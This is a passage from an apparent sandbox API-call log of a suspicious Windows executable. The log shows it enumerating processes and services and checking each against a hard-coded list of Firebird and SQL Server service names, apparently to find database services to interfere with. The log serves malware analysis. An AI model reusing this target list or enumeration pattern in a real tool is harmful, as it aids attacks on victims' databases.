(lpString="PlugPlay") returned 8 [0170.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0170.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0170.108] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0170.108] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0170.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0170.108] lstrlenW (lpString="Power") returned 5 [0170.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0170.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0170.108] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0170.108] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0170.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0170.108] lstrlenW (lpString="ProfSvc") returned 7 [0170.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0170.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0170.108] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0170.108] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0170.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0170.108] lstrlenW (lpString="RpcEptMapper") returned 12 [0170.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.108] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0170.108] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0170.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0170.108] lstrlenW (lpString="RpcSs") returned 5 [0170.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0170.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0170.108] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0170.108] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0170.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0170.108] lstrlenW (lpString="SamSs") returned 5 [0170.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0170.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0170.109] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0170.109] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0170.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0170.109] lstrlenW (lpString="Schedule") returned 8 [0170.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0170.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0170.109] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0170.109] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0170.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0170.109] lstrlenW (lpString="SecurityHealthService") returned 21 [0170.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0170.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0170.109] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0170.109] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0170.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0170.109] lstrlenW (lpString="SENS") returned 4 [0170.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0170.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0170.109] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0170.109] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0170.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0170.109] lstrlenW (lpString="ShellHWDetection") returned 16 [0170.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.109] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0170.109] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0170.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0170.109] lstrlenW (lpString="Spooler") returned 7 [0170.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0170.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0170.109] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0170.109] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0170.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0170.109] lstrlenW (lpString="StateRepository") returned 15 [0170.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0170.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0170.110] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0170.110] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0170.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0170.110] lstrlenW (lpString="SysMain") returned 7 [0170.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0170.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0170.110] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0170.110] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0170.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0170.110] lstrlenW (lpString="SystemEventsBroker") returned 18 [0170.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0170.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0170.110] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0170.110] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0170.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0170.110] lstrlenW (lpString="Themes") returned 6 [0170.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0170.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0170.110] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0170.110] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0170.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0170.110] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0170.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0170.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0170.110] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0170.110] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0170.111] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0170.111] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4f4 [0170.115] Process32FirstW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.115] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0170.116] lstrlenW (lpString="System") returned 6 [0170.116] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0170.117] lstrlenW (lpString="smss.exe") returned 8 [0170.117] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.117] lstrlenW (lpString="csrss.exe") returned 9 [0170.117] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0170.118] lstrlenW (lpString="wininit.exe") returned 11 [0170.118] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.118] lstrlenW (lpString="csrss.exe") returned 9 [0170.118] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0170.119] lstrlenW (lpString="winlogon.exe") returned 12 [0170.119] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0170.119] lstrlenW (lpString="services.exe") returned 12 [0170.119] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0170.119] lstrlenW (lpString="lsass.exe") returned 9 [0170.120] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0170.122] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0170.122] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0170.122] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0170.122] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.123] lstrlenW (lpString="svchost.exe") returned 11 [0170.123] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.123] lstrlenW (lpString="svchost.exe") returned 11 [0170.123] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0170.124] lstrlenW (lpString="dwm.exe") returned 7 [0170.124] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.125] lstrlenW (lpString="svchost.exe") returned 11 [0170.125] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.125] lstrlenW (lpString="svchost.exe") returned 11 [0170.125] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.126] lstrlenW (lpString="svchost.exe") returned 11 [0170.126] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.126] lstrlenW (lpString="svchost.exe") returned 11 [0170.126] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.127] lstrlenW (lpString="svchost.exe") returned 11 [0170.127] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.127] lstrlenW (lpString="svchost.exe") returned 11 [0170.128] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.128] lstrlenW (lpString="svchost.exe") returned 11 [0170.128] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.129] lstrlenW (lpString="svchost.exe") returned 11 [0170.129] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.129] lstrlenW (lpString="svchost.exe") returned 11 [0170.129] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.130] lstrlenW (lpString="svchost.exe") returned 11 [0170.130] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0170.130] lstrlenW (lpString="spoolsv.exe") returned 11 [0170.130] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.131] lstrlenW (lpString="svchost.exe") returned 11 [0170.131] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0170.132] lstrlenW (lpString="audiodg.exe") returned 11 [0170.132] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0170.132] lstrlenW (lpString="sihost.exe") returned 10 [0170.132] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.133] lstrlenW (lpString="svchost.exe") returned 11 [0170.133] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0170.133] lstrlenW (lpString="taskhostw.exe") returned 13 [0170.134] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0170.134] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0170.134] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0170.135] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0170.135] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0170.135] lstrlenW (lpString="Memory Compression") returned 18 [0170.135] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x43, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0170.136] lstrlenW (lpString="explorer.exe") returned 12 [0170.136] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0170.136] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0170.136] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0170.137] lstrlenW (lpString="SearchUI.exe") returned 12 [0170.137] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0170.138] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0170.138] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0170.138] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0170.138] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0170.139] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0170.139] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0170.139] lstrlenW (lpString="cmd.exe") returned 7 [0170.139] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0170.140] lstrlenW (lpString="conhost.exe") returned 11 [0170.140] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0170.140] lstrlenW (lpString="consent.exe") returned 11 [0170.141] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0170.141] CloseHandle (hObject=0x4f4) returned 1 [0170.141] Sleep (dwMilliseconds=0x1f4) [0170.647] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408dc68 [0170.649] EnumServicesStatusExW (in: hSCManager=0x408dc68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0170.650] GetLastError () returned 0xea [0170.650] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4171fb0 [0170.650] EnumServicesStatusExW (in: hSCManager=0x408dc68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4171fb0, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4171fb0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0170.651] CloseServiceHandle (hSCObject=0x408dc68) returned 1 [0170.651] lstrlenW (lpString="Appinfo") returned 7 [0170.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0170.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0170.651] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0170.651] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0170.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0170.651] lstrlenW (lpString="AppXSvc") returned 7 [0170.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0170.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0170.651] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0170.651] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0170.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0170.651] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0170.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.651] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0170.651] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0170.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0170.651] lstrlenW (lpString="Audiosrv") returned 8 [0170.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0170.651] lstrcmpiW 